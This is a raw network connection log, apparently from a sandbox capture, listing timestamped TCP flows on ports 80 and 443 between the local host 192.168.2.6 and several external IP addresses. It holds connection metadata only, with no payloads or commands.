Nov 7, 2024 17:25:46.206823111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206854105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206856012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206872940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206916094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.206954002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206968069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.206981897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207010984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207024097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207473993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207489967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207504988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207523108 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207542896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207544088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207560062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207601070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207642078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207655907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207696915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207722902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207739115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207765102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207789898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207828045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207842112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207855940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207870960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207879066 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207897902 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207921028 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.207983971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.207998991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208012104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208026886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208039999 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208041906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208074093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208075047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208095074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208121061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208246946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208261967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208276987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208291054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208297014 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208307981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208317041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208323002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208342075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208369970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208859921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208882093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208895922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208909988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208909988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208926916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208930969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208940029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208946943 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208955050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208970070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208977938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.208986044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.208997965 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.209022045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.227588892 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.231642008 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.231997967 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.232007980 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.233011961 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.233078003 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.234255075 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.234323025 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.234555006 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.234563112 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.239547014 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.239948034 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.239962101 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.240444899 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.240781069 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.240901947 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.240962982 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.241826057 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.241836071 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.241890907 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.241903067 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.241940975 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.244307995 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.244343996 CET	443	49970	131.253.33.203	192.168.2.6
Nov 7, 2024 17:25:46.244441986 CET	49970	443	192.168.2.6	131.253.33.203
Nov 7, 2024 17:25:46.246834040 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.247104883 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.247132063 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.247955084 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.248171091 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.248222113 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.248276949 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.248287916 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.248790026 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.248852015 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.249254942 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.249263048 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.249273062 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.249325991 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.249677896 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.249738932 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.249946117 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.249953032 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.250243902 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.250648022 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.250654936 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.251676083 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.251739979 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.252074003 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.252130032 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.252283096 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.263003111 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.263231039 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.263237953 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.264219046 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.264276981 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.264632940 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.264688969 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.264770985 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.264775991 CET	443	49978	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.274457932 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.280858994 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.281452894 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.281469107 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.282006979 CET	49972	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.282011986 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.287329912 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.290057898 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.290061951 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.299329042 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.305670023 CET	49978	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.305854082 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.305866003 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.321712971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321736097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321752071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321779013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.321806908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.321830988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321846008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321860075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321866989 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.321902037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.321912050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321927071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321943998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321955919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.321968079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321984053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.321985960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322006941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322010994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322026968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322041035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322043896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322056055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322069883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322094917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322124004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322149038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322160006 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322165012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322187901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322197914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322197914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322204113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322226048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322237968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322359085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322375059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322396994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322411060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322413921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322427034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322442055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322459936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322736025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322751045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322763920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322777033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322813034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322835922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322849989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322865009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322876930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322890043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322905064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322910070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322920084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.322933912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.322968006 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323138952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323153973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323168993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323183060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323194027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323199034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323218107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323225975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323232889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323252916 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323272943 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323303938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323326111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323340893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323343992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323354959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323355913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323379040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323394060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323396921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323410988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323426008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323436022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323441982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323452950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323467970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323473930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323491096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323503971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323510885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323568106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323581934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323604107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323605061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323620081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323627949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.323630095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323654890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.323682070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.324153900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324168921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324183941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324207067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324208975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.324222088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324233055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.324245930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324260950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.324285984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.324438095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324451923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324465036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324480057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324491024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.324495077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.324515104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.324531078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.327400923 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.328038931 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.328052044 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.328567982 CET	49973	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.328572035 CET	443	49973	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.352577925 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.370563030 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.380508900 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.380534887 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.380584955 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.380600929 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.380618095 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.380671978 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.381638050 CET	49975	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.381650925 CET	443	49975	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.382397890 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.382440090 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.382572889 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.383081913 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.383160114 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.383239985 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.384092093 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.384120941 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.384175062 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.384177923 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.384222984 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.385205984 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.385234118 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.385242939 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.385279894 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.385288000 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.385309935 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.385329962 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.385369062 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.389990091 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.390017986 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.395200014 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.395265102 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.396785021 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:46.396810055 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:46.396898031 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:46.397427082 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:46.397435904 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:46.397510052 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:46.398204088 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:46.398247004 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:46.398353100 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:46.398423910 CET	49971	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.398437977 CET	443	49971	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.399528027 CET	49974	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.399543047 CET	443	49974	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.400022984 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.400047064 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.400213003 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.400510073 CET	49977	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.400523901 CET	443	49977	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.400821924 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.400851965 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.400969982 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.401115894 CET	49976	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.401123047 CET	443	49976	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.401912928 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:46.401925087 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:46.402117968 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:46.402129889 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:46.403039932 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:46.403068066 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:46.406446934 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.406464100 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.407114029 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.407134056 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.413240910 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.413274050 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.413424969 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.413638115 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:46.413649082 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:46.421792030 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.422341108 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.422379017 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.423052073 CET	49980	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:46.423059940 CET	443	49980	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.431853056 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.431883097 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.431941032 CET	443	49972	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:46.431971073 CET	49972	443	192.168.2.6	13.107.246.45
